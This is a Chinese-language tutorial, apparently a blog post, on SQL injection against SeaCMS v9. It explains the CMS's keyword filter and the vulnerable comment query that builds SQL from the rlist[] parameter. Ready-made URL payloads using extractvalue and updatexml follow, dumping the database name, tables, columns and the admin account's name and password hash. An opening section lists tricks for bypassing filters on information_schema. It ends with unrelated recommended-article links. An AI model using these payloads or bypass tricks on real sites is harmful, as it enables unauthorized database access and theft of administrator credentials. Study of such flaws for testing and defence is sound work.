seacms v9 实现的MySQL注入

目录

[过滤关键词information_schema 怎么办](#过滤关键词information_schema 怎么办)

一、环境搭建

二、环境分析

三、源代码分析

1、过滤程序

2、注入点

四、获取数据库名

五、获取数据库表名

六、获取表的列名

七、获取数据信息


过滤关键词information_schema 怎么办

1.、利用sys数据库(MySQL 5.7+) sys库是MySQL官方提供的系统监控数据库,可能未被过滤。

例:查询表名和列名

SELECT table_name FROM sys.schema_table_statistics; SELECT column_name FROM sys.schema_columns WHERE table_name='users';

2、 利用mysql系统库 mysql库存储用户权限信息,部分表可能包含元数据。

例:通过innodb_table_stats和innodb_index_stats获取表名

SELECT table_name FROM mysql.innodb_table_stats;

3.、编码混淆

十六进制编码:information_schema → 0x696E666F726D6174696F6E5F736368656D61

SELECT * FROM 0x696E666F726D6174696F6E5F736368656D61.tables;

Unicode编码:i → CHAR(105)

4、 字符串拼接 使用CONCAT()或SUBSTR()绕过简单过滤

SELECT * FROM CONCAT('inform', 'ation_schema').tables;

5、. 注释符干扰 插入注释分隔符:/**/或/*!*/

SELECT * FROM infor/*!mation_schema*/.tables;

一、环境搭建

二、环境分析

在海洋cms V9 中,用户输入(如登录、评论、分页、ID 等)未经过适当的验证和清理,直接嵌入到 SQL 查询中,导致了 SQL 注入攻击的发生。

三、源代码分析

1、过滤程序

整个模式由三部分组成:前面是一个否定字符组`[^0-9a-z@\._-]{1,}`,中间是关键字组`(union|sleep|...)`,后面又是同样的否定字符组。这个结构可能是在匹配那些被非允许字符包围的关键字,比如`union`前后有特殊符号的情况。

\^0-9a-z@\\._-\]{1,} # 第一部分:匹配非允许字符的连续序列 (union\|sleep\|benchmark\|load_file\|outfile) # 第二部分:匹配危险SQL关键词 \[\^0-9a-z@\\.-\]{1,} # 第三部分:再次匹配非允许字符的连续序列

2、注入点

参数rlist[]被用作数组传递,可能在后端代码中被直接拼接到SQL查询中,没有进行充分的过滤或参数化处理,导致注入发生。

php 复制代码
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

四、获取数据库名

php 复制代码
?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

gid=1:ID(数值型)。

page=2:分页参数。

extractvalue():MySQL XML处理函数,用于触发错误。

concat_ws():用分隔符连接字符串,0x20是空格,0x5c是反斜杠\。

select database():获取当前数据库用户。

攻击者访问构造的URL,服务器处理rlist[]参数。 后端代码将rlist[]值拼接到IN子句: 执行时因非法XPath语法报错,错误信息包含数据库用户

五、获取数据库表名

当sea_comment表中无数据时不会回显报错

添加数据后成功回显

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

六、获取表的列名

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`

七、获取数据信息

php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
php 复制代码
?gid=1&page=2&type=1&rlist[]=@`%27`,updatexml%20(1,concat_ws(0x7e,0x7e,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

由于password进行的md5加密,将注入结果(f297a57a5a743894a0e4)进行解密后得到admin

相关推荐
lisanmengmeng8 分钟前
zentao的prod环境升级(一)
linux·运维·数据库·docker·容器·禅道
それども14 分钟前
insertOnDuplicateKey 和 upsert 区别
数据库·mysql
nbsaas-boot20 分钟前
SQL Server 存储过程设计规范(事务与异常处理)
linux·数据库·设计规范
Bruce_Liuxiaowei1 小时前
全面TCP端口扫描:Nmap高级扫描技术与实战应用
网络·tcp/ip·网络安全·php
代码or搬砖2 小时前
SQL核心语法总结:从基础操作到高级窗口函数
java·数据库·sql
2 小时前
TIDB——TIKV——读写与coprocessor
数据库·分布式·tidb·
大猫和小黄2 小时前
若依微服务全面适配PostgreSQL-OpenGauss数据库
数据库·微服务·postgresql·若依
老徐电商数据笔记3 小时前
技术复盘第二篇:电商数据主题域划分企业级实践
大数据·数据库·数据仓库·零售·教育电商·技术面试
jfqqqqq3 小时前
postgres查询、重设自增序列的起始值
数据库·sql·postgres·自增序列
3 小时前
TIDB——PD(placement Driver)
java·数据库·分布式·tidb·